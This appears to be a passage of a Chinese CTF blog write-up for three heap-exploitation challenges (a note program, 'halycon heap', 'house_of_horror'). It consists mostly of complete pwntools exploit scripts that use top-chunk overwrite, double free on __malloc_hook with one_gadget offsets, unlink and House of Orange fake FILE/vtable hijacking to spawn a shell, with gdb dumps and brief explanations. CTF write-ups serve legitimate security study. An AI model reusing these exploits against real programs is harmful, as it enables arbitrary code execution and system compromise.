def new(size, content):
    p.recvuntil("option--->>\n")
    p.sendline("1")
    p.recvline("Input the length of the note content:")
    p.sendline(str(size))
    p.recvline("Input the content:")
    p.sendline(content)

def edit(idx, content):
    p.recvuntil("option--->>\n")
    p.sendline("3")
    p.recvline("Input the id:")
    p.sendline(str(idx))
    p.recvline("Input the new content:")
    p.send(content)

def delete(idx):
    p.recvuntil("option--->>\n")
    p.sendline("4")
    p.recvuntil("Input the id:\n")
    p.sendline(str(idx))

'''
b *0x8048A8C
b *0x8048B5B
b *0x8048BED
'''
# leak heap

p.recvline("Input your name:")
p.send("A"*0x40)
p.recvuntil("Hey "+"A"*0x40)

heap_base = u32(p.recv(0x4))-0x8
log.info("heap_base: "+hex(heap_base))

# overwrite topchunk

p.recvuntil("Org:\n")
p.send("A"*0x40)
p.recvuntil("Host:\n")
p.sendline(p32(0xffffffff))

# leak libc

off_size = note_len_array - (heap_base + 0xd8 + 0xc) - (2 * 0x4)
#pause()
new(off_size, "")

payload = p32(0x4)*2
payload += p8(0)*(0x80-len(payload))
payload += p32(free_got)
payload += p32(atoi_got)
new(int("0xb0", 0x10), payload)

edit(0, p32(puts_plt)) # free->puts

delete(1)# puts atoi's addr and set the prt_1 = 0

p.recvuntil("Input the id:\n")
libc_base = u32(p.recv(4))-atoi_off
log.info("libc_base: "+hex(libc_base))

# write system

system_addr = libc_base+system_off
edit(0, p32(system_addr)) # free_got -> system
pause()
new(8, "/bin/sh")
delete(1) # ptr_1's content = "/bin/sh"

p.interactive()

halycon heap

这道题漏洞主要是double free 泄露libc做了一个简单的堆排布,伪造了个堆头来free得到libc,再show出来,主要是通过覆盖低位fd来实现任意地址分配,分配在与1号堆块头前0x10大小的地方,然后再free掉1,得到libc在7号堆块,再show出来,有了libc之后,我们就double free覆盖malloc_hook来getshell就行了

详细脚本如下:

from pwn import *

#context.log_level = 'debug'
p = process("./halcon_heap")
elf = ELF("./halcon_heap")
libc = ELF("./libc.so.6")

def add(size, cont):
	p.recvuntil(">")
	p.sendline(str(1))
	p.sendlineafter("Enter the size of your deet:", str(size))
	p.sendafter("Enter your deet:", cont)

def show(index):
	p.recvuntil(">")
	p.sendline(str(2))
	p.recvuntil("Which deet would you like to view?")
	p.recv()
	p.sendline(str(index))


def delete(index):
	p.recvuntil(">")
	p.sendline(str(3))
	p.sendlineafter("Which deet would you like to brutally destroy off the face of the earth?", str(index))

add(0x20, 'a'*16 + p64(0)+p64(0x31)) #0
add(0x20, 'bbbbb') #1
add(0x40, 'ccccc') #2
add(0x60, (p64(0)+p64(0x21)+p64(0)*2)*2) #3
delete(0)
delete(1)
show(1)
heap_addr = u64(p.recv(8))
print hex(heap_addr)

pause()
delete(0)
add(0x20, '\x20') #4 - 0 # overlap with 7
add(0x20, 'ddddd') #5 - 1
add(0x20, 'eeeee') #6 - 0
add(0x20, p64(0)+p64(0x91)) #7 (0~1)

delete(1)

show(7)
p.recv(24)
libc_base = u64(p.recv(8)) - 88 -0x3c4b20
print hex(libc_base)
#print hex(libc.symbols['main_arena'])

malloc_hook = libc.symbols['__malloc_hook'] + libc_base

add(0x60, 'f'*8) #8
add(0x60, 'f'*8) #9
add(0x60, 'f'*8) #10

delete(8)
delete(9)
delete(8)

gad1 = 0x45216
gad2 = 0x4526a
gad3 = 0xf02a4
gad4 = 0xf1147

add(0x60, p64(malloc_hook-0x23)) #9
add(0x60, 'p') #11
add(0x60, 'p') #12
add(0x60, 'a'*(0x23-16)+p64(gad4+libc_base))

p.recvuntil(">")
p.sendline(str(1))
p.sendlineafter("Enter the size of your deet:", str(0x60))

p.interactive()

house_of_horror

分配一个大块覆盖原来的两个块,然后在里面构造unlink,进而控制bss_list,泄露heap和libc,然后利用house of orage来getshell 修改_IO_list_all,然后在堆上伪造IO结构体和vtable,写__overflow 为system地址,然后abort之后就getshell了 调用顺序:(malloc_printerr->__libc_message->)abort->fflush(_IO_flush_all_lockp)->vtable->_IO_OVERFLOW(hijack->system) 关于调用system时参数的地址:

并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。

上面是CTFWIKI的解释,既然传入的是_IO_2_1_stdout_的地址,这个是调用printf时候的参数取值,当出现abort的时候调用的应该是_IO_2_1_stderr_的地址。

gdb-peda$ p *(struct _IO_FILE_plus *)0x000000000211d020
$11 = {
  file = {
    _flags = 0x6e69622f, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0x0, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x0, 
    _offset = 0x0, 
    _codecvt = 0x0, 
    _wide_data = 0x0, 
    _freeres_list = 0x211d0d0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = "\000\000\000\000\220\343#o\213\177\000\000\220\343#o\213\177\000"
  }, 
  vtable = 0x211d0e8
}

gdb-peda$ p *((struct _IO_FILE_plus *)0x000000000211d020).vtable
$10 = {
  __dummy = 0x7f8b6f23e390, 
  __dummy2 = 0x7f8b6f23e390, 
  __finish = 0x211d0e8, 
  __overflow = 0x7f8b6f23e390 <__libc_system>, 
  __underflow = 0x101, 
  __uflow = 0x1e, 
  __pbackfail = 0x0, 
  __xsputn = 0x0, 
  __xsgetn = 0x0, 
  __seekoff = 0x0, 
  __seekpos = 0x0, 
  __setbuf = 0x0, 
  __sync = 0x0, 
  __doallocate = 0x0, 
  __read = 0x0, 
  __write = 0x0, 
  __seek = 0x0, 
  __close = 0x0, 
  __stat = 0x0, 
  __showmanyc = 0x0, 
  __imbue = 0x0
}

详细脚本如下:

from pwn import *

#context.log_level = 'debug'
p = process("./house_of_horror")
elf = ELF("./house_of_horror")
libc = ELF("./libc.so.6")

def add(size):
	p.sendlineafter('> ', '1')
	p.sendlineafter('Enter the size of your array:', str(size))
	# p.sendafter("What are the contents of this dream?", s)

def edit(arr_index, ele_index, data):
	p.sendlineafter('>', "3")
	p.sendlineafter("Which array would you like to edit?", str(arr_index))
	p.sendlineafter("Which element would you like to edit?", str(ele_index))
	p.sendlineafter("What would you like to set this element to?", str(data))


def free(index):
	p.sendlineafter('>', "4")
	p.sendlineafter("Which array would you like to view?", str(index))

def show(arr_index, ele_index):
	p.sendlineafter('>', "2")
	p.sendlineafter("Which array would you like to view?", str(arr_index))
	p.recvuntil("Which element would you like to view?")
	p.recv()
	p.sendline(str(ele_index))


add(30)#0
add(30)#1
add(30)#2
bss=0x602060+0x18

f=bss-0x18
b=bss-0x10

# 1.fd = ptr - 0x18
# 2.bk = ptr - 0x10
# unlink
# ptr -> ptr - 0x18
# ptr = 0x602060

add(0x100/8-1)#3
add(0x100/8-1)#4
add(0x80/8-1)#5

free(3)
free(4)
add((0x210)/8-1)#6

# 3+4->6
#pause()
edit(6, 0, 0x101)
edit(6, 1, f)
edit(6, 2, b)

edit(6, 31, 0x100)
edit(6, 32, 0x90)
edit(6, 49, 0)
edit(6, 50, 0x21)
edit(6, 53, 0)
edit(6, 54, 0x21)
# unlink
free(4)

# from 1
show(3, 0)
heap_addr = int(p.recvuntil('Done', drop=True)) - 0x58
print "[+] heap_addr = " + str(hex(heap_addr))
edit(3, 0, elf.got['puts']-8)

show(1, 0)
puts_addr = int(p.recvuntil('Done', drop=True))
print "[+] puts_addr = " + str(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system'] +libc_base
binsh_addr = next(libc.search("/bin/sh")) + libc_base
print hex(binsh_addr)

#edit(3, 0, elf.got['free']-24)

#stdout = libc.symbols['_IO_2_1_stdout_']+libc_base
vtable = libc.symbols['_IO_list_all'] + libc_base
edit(3, 0, vtable-8-8*6)
edit(1, 6, heap_addr-0x90-0x8)# fake_vtable in heap

edit(0, 1, u64('$0\x00\x00\x00\x00\x00\x00'))#u64('/bin/sh\x00'))
edit(0, 2, 0)
edit(0, 3, 0)
edit(0, 4, 0)
edit(0, 5, 0)
edit(0, 6, 1)

for i in range(7, 22):
	edit(0, i, 0)

edit(0, 22, heap_addr+0x20-0x8)

for i in range(23, 23+3):
	edit(0, i, 0)

pause()
# edit(0, 25, system_addr)
edit(0, 26, system_addr)
edit(0, 27, system_addr)
edit(0, 28, heap_addr+0x20-0x8+24)
edit(0, 29, system_addr)

p.sendline('6')

p.interactive()

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦